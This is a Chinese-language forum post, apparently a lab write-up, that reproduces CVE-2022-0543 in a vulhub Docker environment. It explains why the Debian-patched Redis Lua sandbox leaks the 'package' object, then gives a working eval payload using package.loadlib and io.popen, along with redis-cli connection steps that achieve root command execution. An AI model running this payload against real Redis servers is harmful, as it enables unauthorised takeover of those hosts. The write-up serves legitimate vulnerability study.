English 简体中文 繁體中文 한국 사람 日本語 Deutsch русский بالعربية TÜRKÇE português คนไทย french
查看: 1|回复: 0

【vulhub】redis CVE-2022-0543(redis沙盒逃逸)

[复制链接]
查看: 1|回复: 0

【vulhub】redis CVE-2022-0543(redis沙盒逃逸)

[复制链接]
查看: 1|回复: 0

207

主题

0

回帖

631

积分

高级会员

积分
631
LXHeqyAzdi

207

主题

0

回帖

631

积分

高级会员

积分
631
2025-2-26 16:45:07 | 显示全部楼层 |阅读模式
渗透环境

攻击机:   IP: 192.168.66.130(Kali)
漏洞收录于:vulhub/redis/CVE-2022-0543
涉及知识点:redis沙盒逃逸
漏洞详情

受影响的系统

  • 仅限于 Debian 系 Linux 发行版(如 Debian、Ubuntu)及其衍生版本。
  • 不受影响的系统:CentOS、RHEL 等非 Debian 系发行版不受此漏洞影响(漏洞源于 Debian 维护者在打包 Redis 时的补丁问题,而非 Redis 自身代码问题)。
受影响的 Redis 版本范围

  • redis版本小于等于6.x的都可以尝试。
触发条件
​        攻击者需具备 Redis 的未授权访问权限或合法凭证。
漏洞原理

  • 背景
    Redis 允许通过 eval 命令执行 Lua 脚本,但正常情况下这些脚本运行在沙箱中,无法执行系统命令或文件操作。
  • 补丁引入的漏洞
    Debian/Ubuntu 在打包 Redis 时,通过补丁代码向 Lua 沙箱中注入了一个名为 package 的全局对象。该对象本应在源码中被注释(出于沙箱安全考虑),但补丁错误地重新启用了它。
  • 沙盒逃逸过程

    • 加载动态库:攻击者可通过 package.loadlib 加载 Lua 系统库(如 liblua5.1.so.0),调用其导出函数(如 luaopen_io)获取 io 库权限。
    • 执行命令:利用 io.popen 等函数执行任意系统命令。
    local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("whoami", "r");  -- 执行系统命令local res = f:read("*a");f:close();return res;
攻击思路
单从攻击角度而言,可以使用redis未授权相同的打法,博客见:【vulhub】redis 4-unacc (redis未授权访问) - Mr_Soap - 博客园
从漏洞角度来看,使用eval函数执行上面的逃逸过程即可。
复现漏洞

一、 启动漏洞容器

docker-compose up -d
可以看到redis运行在默认端口6379上
二、未授权连接

redis-cli -h 192.168.66.130
redis-cli -h [IP] -p [port] -a [password]
当使用默认端口6379时可不使用参数-p
测试连接,ping一下,成功连接

三、get shell

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("whoami", "r");local res = f:read("*a");f:close();return res;' 0
可以看到命令都已经成功执行,我们已经拿到了root权限
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

207

主题

0

回帖

631

积分

高级会员

积分
631

QQ|智能设备 | 粤ICP备2024353841号-1

GMT+8, 2025-3-11 06:25 , Processed in 0.912602 second(s), 29 queries .

Powered by 智能设备

©2025

|网站地图